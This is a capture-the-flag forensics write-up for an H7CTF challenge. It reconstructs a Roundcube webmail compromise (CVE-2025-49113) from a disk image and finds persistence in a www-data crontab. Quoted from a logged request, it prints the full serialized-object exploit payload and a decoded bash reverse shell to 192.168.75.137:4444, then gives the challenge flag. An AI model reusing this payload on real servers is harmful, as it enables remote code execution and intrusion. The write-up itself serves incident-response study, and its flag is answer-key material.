Author: kAiz3n
An internal webmail is compromised — the IR team obtained a set of artifacts from the suspected server. Your task: analyze the provided artifacts to reconstruct a foothold, identify the exploited vulnerability (use the CVE identifier), find the IP address related to the foothold, and determine where persistence is configured. The flag format is: H7CTF{CVE-xxxx-xxxx_IP:PORT_persistencePath} Example: H7CTF{CVE-XXXX-XXXX_IP:PORT_/etc/passwd}
Note: IP:PORT of the initial access
points to note:
- “webmail”: look for webmail software
- “exploited vulnerability”: look for this webmail’s CVE’s
- “persistence path”: how is the attacker persisting their attack
We are given foothold.001 which is a dump of an EXT4 filesystem
❯ file foothold.001
foothold.001: Linux rev 1.0 ext4 filesystem data, UUID=280be5d2-09c9-44a2-969a-7271c3f05de1 (extents) (64bit) (large files) (huge files)which is why I will be using Sleuthkit to solve this challenge. You can check out how to set it up here
Initially I just did some strings analyses on the memdump to get an idea of what was happening. I started by looking for any urls
❯ cat foothold.001 | rg -aio "https://.{50}" > dump/urlsThen used fls to dump the file list
❯ fls -r -p foothold.001 > dump/file_scanWebmail#
Let’s start looking for potential installed mail clients
❯ cat dump/urls | sort -u | rg -ia "mail"
https://docs.kde.org/?application=kmail2https://appstream
https://docs.xfce.org/panel-plugins/xfce4-mailwatch-plugin
https://github.com/anthon38/gmailfeedhttps://www.kde.org/
https://github.com/ProtonMail/go-crypto/issues/21#issuecom
https://github.com/roundcube/roundcubemail/actions/workflo
https://github.com/roundcube/roundcubemail/commit/454b0b1c
https://github.com/roundcube/roundcubemail/wiki/Configurat
https://github.com/roundcube/roundcubemail/wiki/InstallatiAnd you see a lot of mentions to this roundcubemail
Let’s confirm against the file list too
❯ cat dump/file_scan | sort -u | rg -ia "roundcube"
d/d 658915: var/www/html/roundcube
d/d 661208: var/www/html/roundcube/SQL
d/d 661210: var/www/html/roundcube/SQL/mssql
d/d 661240: var/www/html/roundcube/SQL/mysql
d/d 661275: var/www/html/roundcube/SQL/oracle
d/d 661292: var/www/html/roundcube/SQL/postgresAnd it definitely seems like something installed related to mail
From WikiPedia:
Roundcube is a web-based IMAP email client.
So this is definitely our targeted Webmail
Exploit#
A quick search for “roundcube cve” immediately points to cve-2025-49113 with a CVSS of 9.9

The Attack#
First of all the severity of this attack is absolutely insane. The attack gives you RCE on any machine running the RoundCube client with almost no effort, and the fact that it went unnoticed for so long is wild

The bug is essentially that when unserializing session data there’s a bug that doesn’t handle exclamations marks correctly!. So adding ! to your session data lets you mangle the data, and you can edit your session data by interacting with the rcube_session->append() method used by the endpoints:
program/actions/settings/upload/php: easiest to use due to lack of sanitisationprogram/actions/mail/attachment_upload.phpprogram/actions/mail/compose.php- etc
Using the /upload.php endpoint and modifying the filename to exploit the unserializing bug lets you inject arbitrary data into the session because upload.php directly fetches the param _from
You can read this fantastic report to go into more detail!
Artifacts#
So to look for attacks exploiting this vulnerability we just have to go through the logs to look for requests sent to program/actions/settings/upload.php
RoundCube stores these logs in the /var/log/apache2/access.log file which we can extract using Sleuthkit
❯ cat dump/file_scan | sort -u | rg -ia "var/log/apache2/"
r/r 1183868: var/log/apache2/error.log
r/r 1183869: var/log/apache2/access.log
r/r 1183875: var/log/apache2/other_vhosts_access.log❯ icat -f ext4 foothold.001 1183869 > dump/access.logand here we go
192.168.75.137 - - [03/Nov/2025:13:23:05 +0000] "GET /roundcube/ HTTP/1.1" 200 5876 "-" "-"
192.168.75.137 - - [03/Nov/2025:13:23:07 +0000] "POST /roundcube/?_task=login HTTP/1.1" 302 733 "-" "-"
192.168.75.137 - - [03/Nov/2025:13:23:09 +0000] "POST /roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1" 200 812 "-" "-"The last entry is a post request triggering the /upload action with the payload in the ?_from= url parameter
edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7%C7 looks like some random bs given how it alternates everywhere, so i’m just going to get rid of all of those. might be a unicode thing idk i’m scared of unicode
edit-%21%22%3Bi%3A0%3BO%3A16%3A%22Crypt_GPG_Engine%22%3A1%3A%7BS%3A26%3A%22%5C00Crypt_GPG_Engine%5C00_gpgconf%22%3BS%3A104%3A%22echo+YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg%3D%3D+%5C7c+base64+-d+%5C7c+sh%3B%23%22%3B%7Di%3A0%3Bb%3A0%3B%7D%22%3B%7D%7Dand that looks better. let’s url decode now
edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:104:"echo+YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg==+\7c+base64+-d+\7c+sh;#";}i:0;b:0;}";}}I see a base64 string being decoded, what could it be???
❯ echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg==" | base64 -d
bash -c 'exec bash -i &>/dev/tcp/192.168.75.137/4444 <&1'and there’s our payload. It creates a reverse shell for the IP 192.168.75.137 at the port 4444
Persistence Path#
The last path of our flag is determining the persistence path, and I kid you not this made me crash out so fucking hard 😭
I had the first two parts of the flag like almost imemdiately, and then the persistence path took me like 10 hours to figure out. i should have just slept 😞
persistence path refers to the method used to maintain control over a system. it is NOT the means of control itself, only what maintains it
Failed Attempts#
My understanding of “persistence path” wasn’t clear at all initially. I failed to properly realise the consequences of a reverse shell and started looking for malicious files that would attack the victims computer, things like malware or something that would exfiltrate data etc
(this may have been because i was reading it as “persistent path”)
This led to a lot of redundant scouring of files and a massive wasting of time. But eventually going through the cronjobs led me to /var/spool/cron/crontabs/www-data and this is interesting because www-data is the user created by apache2 for their webserver related stuff
| |
I was so sure that /tmp/beacon001 was the persistence path for so long 😭. i’m really sorry organisers about how much i cried in the tickets
(/tmp/beacon001 might be actual malware from what i see, here’s the entry on VirusTotal)
The Solution#
/var/spool/cron/crontabs/www-data is the actual persistence path because it is the method the attacker used to ensure the machine remains compromised. It’s named www-data because the exploit runs a reverse shell on the webserver, which means everything it runs is as the www-data user
This created a cronjob which runs periodically on the machine, some other forms of persistence may be
- startup programs
- services
- browser extensions???
- modified system files
- windows registry apparently
- and scheduled tasks like this one
so we have a gameplan for the next time the persistencePath is asked
H7CTF{CVE-2025-49113_192.168.75.137:4444_/var/spool/cron/crontabs/www-data}
